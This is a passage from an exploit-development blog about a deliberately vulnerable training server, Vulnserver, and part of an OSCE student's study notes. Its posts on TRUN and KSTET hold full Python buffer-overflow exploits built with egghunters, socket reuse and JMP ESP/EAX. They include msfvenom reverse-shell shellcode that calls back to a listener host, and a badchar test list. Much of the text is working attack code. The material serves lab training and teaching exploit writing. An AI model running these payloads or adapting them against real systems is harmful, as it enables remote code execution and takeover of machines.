With the same technique described a few hours later I identified a new vulnerability in another product and I reported to the vendor doing a responsible disclosure. I will publish the same write up when they fix it. It seems that the Offensive Security course worths the money πŸ™‚

See you soon after some more hours inside a debugger!

Posted in Exploiting | Tagged , , , , , , , , , , | Leave a comment

Exploit Development – Vulnserver TRUN – Socket Reuse

Hello!

This post is going to cover the exploitation of the TRUN method of Vulnserver using the socket reuse technique that I explained in the last entry of the Blog.

This blog post is going to be straight forward, as it were personal notes I’m not going to explain everything. But here you can read all the details of this particular technique:

Also, in this other blog post I explained the process of exploiting a normal Buffer Overflow for the TRUN function of Vulnserver:

Well let’s start at the point that we have control of EIP, and we use it to do a JMP ESP and we have enough space to place the shellcode that we want.

The current exploit looks like this:

#!/usr/bin/python
import socket
import os
import sys

# 625011AF   FFE4             JMP ESP
crash = "A" * 2003 + "\xAF\x11\x50\x62" + "C" * 2903

buffer="TRUN /.:/"
buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)
expl.close()

Our jump to ESP register is going to land in the 2903 C’s buffer string.

This time instead doing a Vanilla BOF exploitation, let’s try to do it using socket reuse.


Step 1. Finding a RECV call

Looking at the inter-modular calls in Olly I find this one:

I setup a break point there and I send some information to Vulnserver, when I reach the break point I can see that these are the values of the parameters that are stored in the stack before the function call occurs:

017CF9DC   00401958  /CALL to recv from vulnserv.00401953
017CF9E0   0000005C  |Socket = 5C
017CF9E4   005E3688  |Buffer = 005E3688
017CF9E8   00001000  |BufSize = 1000 (4096.)
017CF9EC   00000000  \Flags = 0

the socket descriptor is:

00 00 00 5C

Step 2. Finding the socket descriptor

As in the last blog post, If we look for what is in address where our socket was, we can see that the socket descriptor identifier was overwritten.

We need to find a copy elsewhere, so I use the binary search in the vulnserver.exe module and I find our socket descriptor:

0171FFA9   0000             ADD BYTE PTR DS:[EAX],AL
0171FFAB   005C00 00        ADD BYTE PTR DS:[EAX+EAX],BL
0171FFAF   0000             ADD BYTE PTR DS:[EAX],AL

Step 3. Calculate socket descriptor offset

That is at this memory address(aprox): 0171FFA9 and the current value of ESP is: 0171F9E0.

The difference between the socket location and ESP is: 5C9. After some adjustments i identify that the correct offset is 5CC.

Let’s start developing our exploit to reach the socket memory address:

socket_reuse  = ""
socket_reuse += "\x54"                      # PUSH ESP
socket_reuse += "\x59"                      # POP ECX
socket_reuse += "\x66\x81\xC1\xCC\x05"      # ADD CX, 5CC

Step 4. Avoiding EIP/ESP collision:

We realize that ESP and EIP registers are too close and this can break our exploit execution. (In the last blog post I explained more in deep this part)

We can modify the value of ESP to prevent this:

socket_reuse += "\x83\xEC\x50"              # SUB ESP, 50

Step 5. Push RECV parameters into the stack:

Now it’s the moment to do the call to recv, but before we need to setup the stack with the correct parameters.

First we push a 0 into the stack:

socket_reuse += "\x33\xD2"               # XOR EDX,EDX
socket_reuse += "\x52"                   # PUSH EDX

Then we push a 2:

socket_reuse += "\x80\xC6\x02"           # ADD DH,2
socket_reuse += "\x52"                   # PUSH EDX

Now we need to setup the buffer variable, it’s were our buffer it’s going to be located. The second buffer it’s going to be located after the first one, so we add 38 bytes to ESP and push that value to the stack:

socket_reuse += "\x54"                   # PUSH ESP
socket_reuse += "\x5A"                   # POP EDX
socket_reuse += "\x80\xC2\x38"           # ADD DL, 38
socket_reuse += "\x52"                   # PUSH EDX

And the last thing that we need to push is our socket file descriptor:

socket_reuse += "\xFF\x31"               # PUSH DWORD PTR DS:[ECX]

Step 6. Call RECV

Finally we call the RECV function. I’m using SHR because the memory address of RECV contains a null byte, you can read more about this in the last blog post too.

socket_reuse += "\xB8\x88\x2C\x25\x40" # MOV EAX, 40252C88 
socket_reuse += "\xC1\xE8\x08" # SHR EAX, 8  
socket_reuse += "\xFF\xD0" # CALL EAX

This is the final python exploit:

#!/usr/bin/python
# Author: Xavi Bel
# Date: 30/06/2019
# Website: xavibel.com
# Vulnserver - KSET - Using socket reuse

import socket
import os
import sys
import time

# socket reuse technique
# 35 bytes + 34 bytes of padding = 69 bytes
exploit  = ""
exploit += "\x54"                   # PUSH ESP
exploit += "\x59"                   # POP ECX
exploit += "\x66\x81\xC1\xCC\x05"   # ADD CX,5C9
exploit += "\x83\xEC\x50"           # SUB ESP, 50
exploit += "\x33\xD2"               # XOR EDX,EDX
exploit += "\x52"                   # PUSH EDX
exploit += "\x80\xC6\x02"           # ADD DH,2
exploit += "\x52"                   # PUSH EDX
exploit += "\x54"                   # PUSH ESP
exploit += "\x5A"                   # POP EDX
exploit += "\x80\xC2\x38"           # ADD DL, 36
exploit += "\x52"                   # PUSH EDX
exploit += "\xFF\x31"               # PUSH DWORD PTR DS:[ECX]
exploit += "\xB8\x88\x2C\x25\x40"   # MOV EAX, 40252C88
exploit += "\xC1\xE8\x08"           # SHR EAX, 8    
exploit += "\xFF\xD0"               # CALL EAX

exploit += "\x90" * 34

# 625011AF - JMP ESP
crash = "\x20" + exploit + "\xAF\x11\x50\x62" + "\x90" * 18 + "\xEB\xA3"

buffer="KSTET "
buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)

time.sleep(1)

# msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=192.168.1.88 EXITFUNC=thread -b "\x00" -f python | sed 's/buf/shellcode/g'
# 351 bytes
shellcode =  ""
shellcode += "\xbe\x8e\x14\x1d\x2d\xda\xd4\xd9\x74\x24\xf4\x5d\x29"
shellcode += "\xc9\xb1\x52\x83\xed\xfc\x31\x75\x0e\x03\xfb\x1a\xff"
shellcode += "\xd8\xff\xcb\x7d\x22\xff\x0b\xe2\xaa\x1a\x3a\x22\xc8"
shellcode += "\x6f\x6d\x92\x9a\x3d\x82\x59\xce\xd5\x11\x2f\xc7\xda"
shellcode += "\x92\x9a\x31\xd5\x23\xb6\x02\x74\xa0\xc5\x56\x56\x99"
shellcode += "\x05\xab\x97\xde\x78\x46\xc5\xb7\xf7\xf5\xf9\xbc\x42"
shellcode += "\xc6\x72\x8e\x43\x4e\x67\x47\x65\x7f\x36\xd3\x3c\x5f"
shellcode += "\xb9\x30\x35\xd6\xa1\x55\x70\xa0\x5a\xad\x0e\x33\x8a"
shellcode += "\xff\xef\x98\xf3\xcf\x1d\xe0\x34\xf7\xfd\x97\x4c\x0b"
shellcode += "\x83\xaf\x8b\x71\x5f\x25\x0f\xd1\x14\x9d\xeb\xe3\xf9"
shellcode += "\x78\x78\xef\xb6\x0f\x26\xec\x49\xc3\x5d\x08\xc1\xe2"
shellcode += "\xb1\x98\x91\xc0\x15\xc0\x42\x68\x0c\xac\x25\x95\x4e"
shellcode += "\x0f\x99\x33\x05\xa2\xce\x49\x44\xab\x23\x60\x76\x2b"
shellcode += "\x2c\xf3\x05\x19\xf3\xaf\x81\x11\x7c\x76\x56\x55\x57"
shellcode += "\xce\xc8\xa8\x58\x2f\xc1\x6e\x0c\x7f\x79\x46\x2d\x14"
shellcode += "\x79\x67\xf8\xbb\x29\xc7\x53\x7c\x99\xa7\x03\x14\xf3"
shellcode += "\x27\x7b\x04\xfc\xed\x14\xaf\x07\x66\xdb\x98\x06\x2e"
shellcode += "\xb3\xda\x08\xcf\xf8\x52\xee\xa5\xee\x32\xb9\x51\x96"
shellcode += "\x1e\x31\xc3\x57\xb5\x3c\xc3\xdc\x3a\xc1\x8a\x14\x36"
shellcode += "\xd1\x7b\xd5\x0d\x8b\x2a\xea\xbb\xa3\xb1\x79\x20\x33"
shellcode += "\xbf\x61\xff\x64\xe8\x54\xf6\xe0\x04\xce\xa0\x16\xd5"
shellcode += "\x96\x8b\x92\x02\x6b\x15\x1b\xc6\xd7\x31\x0b\x1e\xd7"
shellcode += "\x7d\x7f\xce\x8e\x2b\x29\xa8\x78\x9a\x83\x62\xd6\x74"
shellcode += "\x43\xf2\x14\x47\x15\xfb\x70\x31\xf9\x4a\x2d\x04\x06"
shellcode += "\x62\xb9\x80\x7f\x9e\x59\x6e\xaa\x1a\x79\x8d\x7e\x57"
shellcode += "\x12\x08\xeb\xda\x7f\xab\xc6\x19\x86\x28\xe2\xe1\x7d"
shellcode += "\x30\x87\xe4\x3a\xf6\x74\x95\x53\x93\x7a\x0a\x53\xb6"

expl.send("\x90" * 5 + shellcode + "\x90" * 156)

expl.close()

https://github.com/socket8088/Vulnserver/blob/master/TRUN/EXP-TRUN-02-socket-reuse.py

And here it’s our shell!

Posted in Exploiting | Tagged , , , , , , , , | Leave a comment

Exploit Development – Vulnserver KSTET – Egghunter 2

Hello everyone,

This post is an alternative way to crack Vulnserver using KSTET command. To understand what I’m going to show in you here and how you can exploit this specific method you need to read the last post of the blog. You can find it here:

We were at this point:

crash = "A" * 70 + "B" * 4 + "C" * 19 + "D"
buffer="KSTET " + crash + "\r\n"

So we have 3 parts in our buffer:

  • 70 bytes length before EIP located in EAX
  • EIP overwrite
  • 20 bytes after EIP located in ESP

This time we are going to jump to ESP register. So the first thing that we need to do it’s to find a proper jump. I’m going to use Immunity debugger and the Corelan plugin named Mona to try to find one.

I run this command in Immunity console:

!mona jmp -r esp -d essfunc.dll

And we find several jumps:

We can use the first one:

0x625011AF

Let’s modify our exploit:

crash = "A" * 70 + "\xAF\x11\x50\x62" + "C" * 20

We set a breakpoint before the JMP ESP instruction. We launch the exploit and we reach our breakpoint:

Our egghunter length is 32 bytes, and we only have 20 bytes of space, so we can’t write it here. We need to jump backwards to the other buffer that was 70 bytes long.

To do that we can go to the debugger, we take the jump and we look for the first characters of the big buffer space. That are here:

As you can see I selected the third A character because the other two seems to belong to the previous instruction.

I copy this memory address:

017CF998   41               INC ECX

And I go to the current position of EIP. Here I double click in the instruction to modify it:

And i write the Jump that I want:

And Olly tells me that the opcode that I need is the following one:

So I need to use:

"\xEB\xB6"

Let’s add this information to the code:

crash = "\x20"\x41 * 1 + "A" * 68 + "\xAF\x11\x50\x62" + "\xEB\xB6" + "\xCC" * 18

After doing some small adjustments I verify that our Jump works:

At this point we just need to implement the same that in the previous blog post.

Let’s use the same method to complete the exploit:

# Author: Xavi Bel
# Date: 26/06/2019
# Website: xavibel.com
# Vulnserver KSTET - Method 2
#!/usr/bin/python
import socket
import os
import sys
import time

# Connection
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.35.131", 9999))
print expl.recv(1024)

# First buffer:
#       EGGx2
#       Shellcode

# Reverse TCP Bind Shell
# Payload size: 351 bytes
shellcode =  ""
shellcode += "\xb8\x41\xdb\x4c\xdd\xdb\xcc\xd9\x74\x24\xf4\x5b\x33"
shellcode += "\xc9\xb1\x52\x31\x43\x12\x83\xeb\xfc\x03\x02\xd5\xae"
shellcode += "\x28\x78\x01\xac\xd3\x80\xd2\xd1\x5a\x65\xe3\xd1\x39"
shellcode += "\xee\x54\xe2\x4a\xa2\x58\x89\x1f\x56\xea\xff\xb7\x59"
shellcode += "\x5b\xb5\xe1\x54\x5c\xe6\xd2\xf7\xde\xf5\x06\xd7\xdf"
shellcode += "\x35\x5b\x16\x27\x2b\x96\x4a\xf0\x27\x05\x7a\x75\x7d"
shellcode += "\x96\xf1\xc5\x93\x9e\xe6\x9e\x92\x8f\xb9\x95\xcc\x0f"
shellcode += "\x38\x79\x65\x06\x22\x9e\x40\xd0\xd9\x54\x3e\xe3\x0b"
shellcode += "\xa5\xbf\x48\x72\x09\x32\x90\xb3\xae\xad\xe7\xcd\xcc"
shellcode += "\x50\xf0\x0a\xae\x8e\x75\x88\x08\x44\x2d\x74\xa8\x89"
shellcode += "\xa8\xff\xa6\x66\xbe\xa7\xaa\x79\x13\xdc\xd7\xf2\x92"
shellcode += "\x32\x5e\x40\xb1\x96\x3a\x12\xd8\x8f\xe6\xf5\xe5\xcf"
shellcode += "\x48\xa9\x43\x84\x65\xbe\xf9\xc7\xe1\x73\x30\xf7\xf1"
shellcode += "\x1b\x43\x84\xc3\x84\xff\x02\x68\x4c\x26\xd5\x8f\x67"
shellcode += "\x9e\x49\x6e\x88\xdf\x40\xb5\xdc\x8f\xfa\x1c\x5d\x44"
shellcode += "\xfa\xa1\x88\xcb\xaa\x0d\x63\xac\x1a\xee\xd3\x44\x70"
shellcode += "\xe1\x0c\x74\x7b\x2b\x25\x1f\x86\xbc\xe6\xf0\xab\xbd"
shellcode += "\x9f\xf2\xab\xbc\xe4\x7a\x4d\xd4\x0a\x2b\xc6\x41\xb2"
shellcode += "\x76\x9c\xf0\x3b\xad\xd9\x33\xb7\x42\x1e\xfd\x30\x2e"
shellcode += "\x0c\x6a\xb1\x65\x6e\x3d\xce\x53\x06\xa1\x5d\x38\xd6"
shellcode += "\xac\x7d\x97\x81\xf9\xb0\xee\x47\x14\xea\x58\x75\xe5"
shellcode += "\x6a\xa2\x3d\x32\x4f\x2d\xbc\xb7\xeb\x09\xae\x01\xf3"
shellcode += "\x15\x9a\xdd\xa2\xc3\x74\x98\x1c\xa2\x2e\x72\xf2\x6c"
shellcode += "\xa6\x03\x38\xaf\xb0\x0b\x15\x59\x5c\xbd\xc0\x1c\x63"
shellcode += "\x72\x85\xa8\x1c\x6e\x35\x56\xf7\x2a\x45\x1d\x55\x1a"
shellcode += "\xce\xf8\x0c\x1e\x93\xfa\xfb\x5d\xaa\x78\x09\x1e\x49"
shellcode += "\x60\x78\x1b\x15\x26\x91\x51\x06\xc3\x95\xc6\x27\xc6"

buffer2  = "GDOG "
buffer2 += "T00WT00W"
#buffer2 += "\xCC" * 105 + "\x44" + "\x45" * 5000
buffer2 += "\x90" * 8
buffer2 += shellcode
buffer2 += "\x90" * 8
buffer2 += "\r\n"

print "[+] Sending exploit part 1!"
expl.send(buffer2)
print expl.recv(1024)

time.sleep(5)

# Egghunter
# 32 bytes length
# EGG W00TW00T
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x54\x30\x30\x57\x89\xD7\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

# \x20\x20\x20          - Second jump adjustment
# 625011AF              - JMP ESP stored in vulnserver dll
crash = "\x20\41" + egghunter + "\x90" * 36 + "\xAF\x11\x50\x62" + "\xEB\xB6" + "\x90" * 18


buffer  ="KSTET "
buffer += crash + "\r\n"
print "[+] Sending exploit part 2!"

expl.send(buffer)
expl.close()

https://github.com/socket8088/Vulnserver/blob/master/KSTET/EXP-KSTET-02.py

We run our exploit, and we receive our reverse shell! πŸ™‚

See you soon! I will continue doing Vulnserver write-ups and probably in the future I’m going to rewrite some Exploit-DB exploits.

Posted in Exploiting | Tagged , , , , , , , , , | Leave a comment

Exploit Development – Vulnserver KSTET – Egghunter 1

Hello everyone! This is going to be the second post of the series of Vulnserver. This post will cover the exploitation of vulnserver using the KSTET function

This one is a bit more difficult than TRUN, that was the one that I explained in the last blog post.

For this write-up I would not write the fuzzing part and the location of EIP. I did exactly the same process than in the previous post, so you can read all the information here:

After the fuzzing process and the location of EIP, we are going to see that we have a very little buffer space. We are going to be at this point:

crash = "A" * 70 + "B" * 4 + "C" * 19 + "D"
buffer="KSTET " + crash + "\r\n"

So we have 3 parts in our buffer:

  • 70 bytes length before EIP
  • EIP overwrite
  • 20 bytes after EIP

Now that we now our buffer length, let’s see where it’s located. This is our current python script:

#!/usr/bin/python
import socket
import os
import sys

crash = "A" * 70 + "B" * 4 + "C" * 19 + "D"

buffer="KSTET "
buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.35.131", 9999))
expl.send(buffer)
expl.close()

And this is a screenshot of Olly after the crash:

As you can see in the image above, we overwritten EIP with the 4 B’s. Our 20 bytes length buffer it’s located in ESP and our 70 bytes length buffer it’s located in EAX.

Let’s start for the first thing, that is going to be overwrite EIP. We have multiple options, look for a JMP/CALL EAX, or do a JMP/CALL ESP.

I’m going to follow both ways of exploitation, but for this particular blog post I’m going to Jump to EAX, if you want to see how to do it jumping to ESP you can read it in the next blog post.

Having said this, we can continue. Using Mona plugin for Immunity, we can look for the JMP EAX or CALL EAX that we need. We already did that in the previous blog post, and we identified the following memory address that is located in vulnserver dll:

#62501084   FFD0             CALL EAX

At this point we can overwrite EIP, and put a breakpoint in the CALL EAX instruction. Our buffer right now contains this:

crash = "A" * 70 + "\x84\x10\x50\x62" + "C" * 19 + "D"

And we reach the breakpoint:

Then we have to look what character we can use in our exploit. We only have 70 bytes buffer length so I have to do it in 3 parts: (one not commented, the others two commented)

badchars  = ""
badchars += "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
badchars += "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
badchars += "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
badchars += "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
#badchars += "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
#badchars += "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
#badchars += "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
#badchars += "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
#badchars += "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
#badchars += "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
#badchars += "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
#badchars += "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
#badchars += "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
#badchars += "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
#badchars += "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
#badchars += "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x00"

After I generate two more crashes with the other two parts. At the end we only have the null byte as a bad character: “\x00”.

At this point, the plan is to store an egghunter in EAX and then jump to it. This is our current code:

# Egghunter
# 32 bytes length
# EGG W00TW00T
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x54\x30\x30\x57\x89\xD7\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

# 62501084   FFD0             CALL EAX
crash = "\x90" * 8  + egghunter + "\x90" * 30 + "\x84\x10\x50\x62" + "C" * 19 + "D"

As you see I added a small string with some NOPS for padding. I send it, but the egghunter won’t execute.

Trick 1: Access violation caused by our Nops padding

When we send that, we are also executing the following ASCII string: “STET” followed by some NOPS instructions that I added manually.

They generated the following instruction;

017DF995         2090 90909090    AND BYTE PTR DS:[EAX+90909090],DL

And it crashes the program:

I’ve tested it until I realized that adding 3 “\x20” bytes before the egghunter it works correctly:

crash = "\x20" * 3 + egghunter + "\x90" * 35 + "\x84\x10\x50\x62" + "C" * 19 + "D"

Now we need to send our egg and our shellcode so the program con store it in memory and our egghunter can find it. I saw that the function GDOG saves the string directly into memory.

So first I generated the shellcode:

root@kali:~/Documents/Certifications/OSCE/Vulnserver/2_KSTET# msfvenom -p windows/shell_reverse_tcp LHOST=172.16.35.129 LPORT=443 -f py -b "\x00" | sed 's/buf/shellcode/g'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of py file: 1684 bytes
shellcode =  ""
shellcode += "\xda\xc8\xd9\x74\x24\xf4\x58\x29\xc9\xb1\x52\xbb\x3a"
shellcode += "\x54\x35\x97\x31\x58\x17\x03\x58\x17\x83\xfa\x50\xd7"
shellcode += "\x62\x06\xb0\x95\x8d\xf6\x41\xfa\x04\x13\x70\x3a\x72"
shellcode += "\x50\x23\x8a\xf0\x34\xc8\x61\x54\xac\x5b\x07\x71\xc3"
shellcode += "\xec\xa2\xa7\xea\xed\x9f\x94\x6d\x6e\xe2\xc8\x4d\x4f"
shellcode += "\x2d\x1d\x8c\x88\x50\xec\xdc\x41\x1e\x43\xf0\xe6\x6a"
shellcode += "\x58\x7b\xb4\x7b\xd8\x98\x0d\x7d\xc9\x0f\x05\x24\xc9"
shellcode += "\xae\xca\x5c\x40\xa8\x0f\x58\x1a\x43\xfb\x16\x9d\x85"
shellcode += "\x35\xd6\x32\xe8\xf9\x25\x4a\x2d\x3d\xd6\x39\x47\x3d"
shellcode += "\x6b\x3a\x9c\x3f\xb7\xcf\x06\xe7\x3c\x77\xe2\x19\x90"
shellcode += "\xee\x61\x15\x5d\x64\x2d\x3a\x60\xa9\x46\x46\xe9\x4c"
shellcode += "\x88\xce\xa9\x6a\x0c\x8a\x6a\x12\x15\x76\xdc\x2b\x45"
shellcode += "\xd9\x81\x89\x0e\xf4\xd6\xa3\x4d\x91\x1b\x8e\x6d\x61"
shellcode += "\x34\x99\x1e\x53\x9b\x31\x88\xdf\x54\x9c\x4f\x1f\x4f"
shellcode += "\x58\xdf\xde\x70\x99\xf6\x24\x24\xc9\x60\x8c\x45\x82"
shellcode += "\x70\x31\x90\x05\x20\x9d\x4b\xe6\x90\x5d\x3c\x8e\xfa"
shellcode += "\x51\x63\xae\x05\xb8\x0c\x45\xfc\x2b\x9f\x8a\xdd\x2a"
shellcode += "\xb7\xa8\x21\x2c\xf3\x24\xc7\x44\x13\x61\x50\xf1\x8a"
shellcode += "\x28\x2a\x60\x52\xe7\x57\xa2\xd8\x04\xa8\x6d\x29\x60"
shellcode += "\xba\x1a\xd9\x3f\xe0\x8d\xe6\x95\x8c\x52\x74\x72\x4c"
shellcode += "\x1c\x65\x2d\x1b\x49\x5b\x24\xc9\x67\xc2\x9e\xef\x75"
shellcode += "\x92\xd9\xab\xa1\x67\xe7\x32\x27\xd3\xc3\x24\xf1\xdc"
shellcode += "\x4f\x10\xad\x8a\x19\xce\x0b\x65\xe8\xb8\xc5\xda\xa2"
shellcode += "\x2c\x93\x10\x75\x2a\x9c\x7c\x03\xd2\x2d\x29\x52\xed"
shellcode += "\x82\xbd\x52\x96\xfe\x5d\x9c\x4d\xbb\x6e\xd7\xcf\xea"
shellcode += "\xe6\xbe\x9a\xae\x6a\x41\x71\xec\x92\xc2\x73\x8d\x60"
shellcode += "\xda\xf6\x88\x2d\x5c\xeb\xe0\x3e\x09\x0b\x56\x3e\x18"

And after that I needed to modify the script. The main structure is going to be the following:

  • We connect to Vulnserver
  • We receive the banner
  • We launch the first command: GDOG EGG+EGG+SHELLCODE
  • We receive the banner
  • We wait some seconds
  • We launch the second command: KSTET “\x20″* 3 + EGGHUNTER

This is the final exploit:

# Author: Xavi Bel
# Date: 26/06/2019
# Website: xavibel.com
# Vulnserver KSTET - Method 1

#!/usr/bin/python
import socket
import os
import sys
import time

# Connection
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.35.131", 9999))
print expl.recv(1024)

# First buffer:
#       EGGx2
#       Shellcode

# Reverse TCP Bind Shell
# Payload size: 351 bytes
shellcode =  ""
shellcode += "\xb8\x41\xdb\x4c\xdd\xdb\xcc\xd9\x74\x24\xf4\x5b\x33"
shellcode += "\xc9\xb1\x52\x31\x43\x12\x83\xeb\xfc\x03\x02\xd5\xae"
shellcode += "\x28\x78\x01\xac\xd3\x80\xd2\xd1\x5a\x65\xe3\xd1\x39"
shellcode += "\xee\x54\xe2\x4a\xa2\x58\x89\x1f\x56\xea\xff\xb7\x59"
shellcode += "\x5b\xb5\xe1\x54\x5c\xe6\xd2\xf7\xde\xf5\x06\xd7\xdf"
shellcode += "\x35\x5b\x16\x27\x2b\x96\x4a\xf0\x27\x05\x7a\x75\x7d"
shellcode += "\x96\xf1\xc5\x93\x9e\xe6\x9e\x92\x8f\xb9\x95\xcc\x0f"
shellcode += "\x38\x79\x65\x06\x22\x9e\x40\xd0\xd9\x54\x3e\xe3\x0b"
shellcode += "\xa5\xbf\x48\x72\x09\x32\x90\xb3\xae\xad\xe7\xcd\xcc"
shellcode += "\x50\xf0\x0a\xae\x8e\x75\x88\x08\x44\x2d\x74\xa8\x89"
shellcode += "\xa8\xff\xa6\x66\xbe\xa7\xaa\x79\x13\xdc\xd7\xf2\x92"
shellcode += "\x32\x5e\x40\xb1\x96\x3a\x12\xd8\x8f\xe6\xf5\xe5\xcf"
shellcode += "\x48\xa9\x43\x84\x65\xbe\xf9\xc7\xe1\x73\x30\xf7\xf1"
shellcode += "\x1b\x43\x84\xc3\x84\xff\x02\x68\x4c\x26\xd5\x8f\x67"
shellcode += "\x9e\x49\x6e\x88\xdf\x40\xb5\xdc\x8f\xfa\x1c\x5d\x44"
shellcode += "\xfa\xa1\x88\xcb\xaa\x0d\x63\xac\x1a\xee\xd3\x44\x70"
shellcode += "\xe1\x0c\x74\x7b\x2b\x25\x1f\x86\xbc\xe6\xf0\xab\xbd"
shellcode += "\x9f\xf2\xab\xbc\xe4\x7a\x4d\xd4\x0a\x2b\xc6\x41\xb2"
shellcode += "\x76\x9c\xf0\x3b\xad\xd9\x33\xb7\x42\x1e\xfd\x30\x2e"
shellcode += "\x0c\x6a\xb1\x65\x6e\x3d\xce\x53\x06\xa1\x5d\x38\xd6"
shellcode += "\xac\x7d\x97\x81\xf9\xb0\xee\x47\x14\xea\x58\x75\xe5"
shellcode += "\x6a\xa2\x3d\x32\x4f\x2d\xbc\xb7\xeb\x09\xae\x01\xf3"
shellcode += "\x15\x9a\xdd\xa2\xc3\x74\x98\x1c\xa2\x2e\x72\xf2\x6c"
shellcode += "\xa6\x03\x38\xaf\xb0\x0b\x15\x59\x5c\xbd\xc0\x1c\x63"
shellcode += "\x72\x85\xa8\x1c\x6e\x35\x56\xf7\x2a\x45\x1d\x55\x1a"
shellcode += "\xce\xf8\x0c\x1e\x93\xfa\xfb\x5d\xaa\x78\x09\x1e\x49"
shellcode += "\x60\x78\x1b\x15\x26\x91\x51\x06\xc3\x95\xc6\x27\xc6"

buffer2  = "GDOG "
buffer2 += "T00WT00W"
#buffer2 += "\xCC" * 105 + "\x44" + "\x45" * 5000
buffer2 += "\x90" * 8
buffer2 += shellcode
buffer2 += "\x90" * 8
buffer2 += "\r\n"

print "[+] Sending exploit part 1!"
expl.send(buffer2)
print expl.recv(1024)

time.sleep(5)

# Egghunter
# 32 bytes length
# EGG W00TW00T
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x54\x30\x30\x57\x89\xD7\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

# \x20\x20\x20          - Access violation fix
# 62501084              - CALL EAX stored in vulnserver dll
crash = "\x20" * 3 + egghunter + "\x90" * 35 + "\x84\x10\x50\x62" + "C" * 19 + "D" + "E" * 5000

buffer  ="KSTET "
buffer += crash + "\r\n"
print "[+] Sending exploit part 2!"

expl.send(buffer)
expl.close()

https://github.com/socket8088/Vulnserver/blob/master/KSTET/EXP-KSTET-01.py

And here is our shell!

In the next blog post I’m going to solve the same exercise but instead of jumping to EAX we are going to jump to the small buffer that is located in ESP. See you soon! πŸ™‚

Posted in Exploiting | Tagged , , , , , , , , , | Leave a comment

Exploit Development – Vulnserver TRUN – JMP EAX

Hello everyone, this post is the first of a series that I’m going to dedicate to Exploit Development.

Right now I just finished the OSCE certification labs and I’m preparing the exam. I think that is a good idea to do as many Vulnserver challenges as I can to improve my skills.

If you don’t know what is Vulnserver, you can read a quick introduction of what it is and how you can use it here:

In this post I will cover the TRUN function exploitation, but we are not going to follow the standard process. I’m going to explain all the process step by step, but we are going to do it in a hard way. These are the tricks that you will learn:

  • How to do a partial EIP overwrite (the initial JMP that we are going to use contains a null byte).
  • Access violation of an AND instruction, how to identify the problem and how to solve it.
  • When EIP and ESP are really close in memory location, our shellcode won’t work. How to detect that and fix it.

Let’s start the process. First things first, we attach the process to our favorite debugger:

Let’s fuzz this part of the program. To do it I’m going to use a Boofuzz python script. I explained in this blog post how to create this script step by step:

We start fuzzing it, and after some requests, we see that we managed to crash the program:

And we now that the request that crashed it was:

So we can replicate the crash with this python script:

#!/usr/bin/python
import socket
import os
import sys

crash = "A" * 5000

buffer="TRUN /.:/"
buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)
expl.close()

We launch the script and we see that we overwrite EIP with 4 A’s:

Now we need to identify which of the 5000 characters are the ones overwriting EIP.

To do that we need to generate a unique string. Kali has a tool named msf-pattern_create that is made for this purpose.

root@kali:~/Documents/Certifications/OSCE/Vulnserver/1_TRUN# msf-pattern_create -l 5000
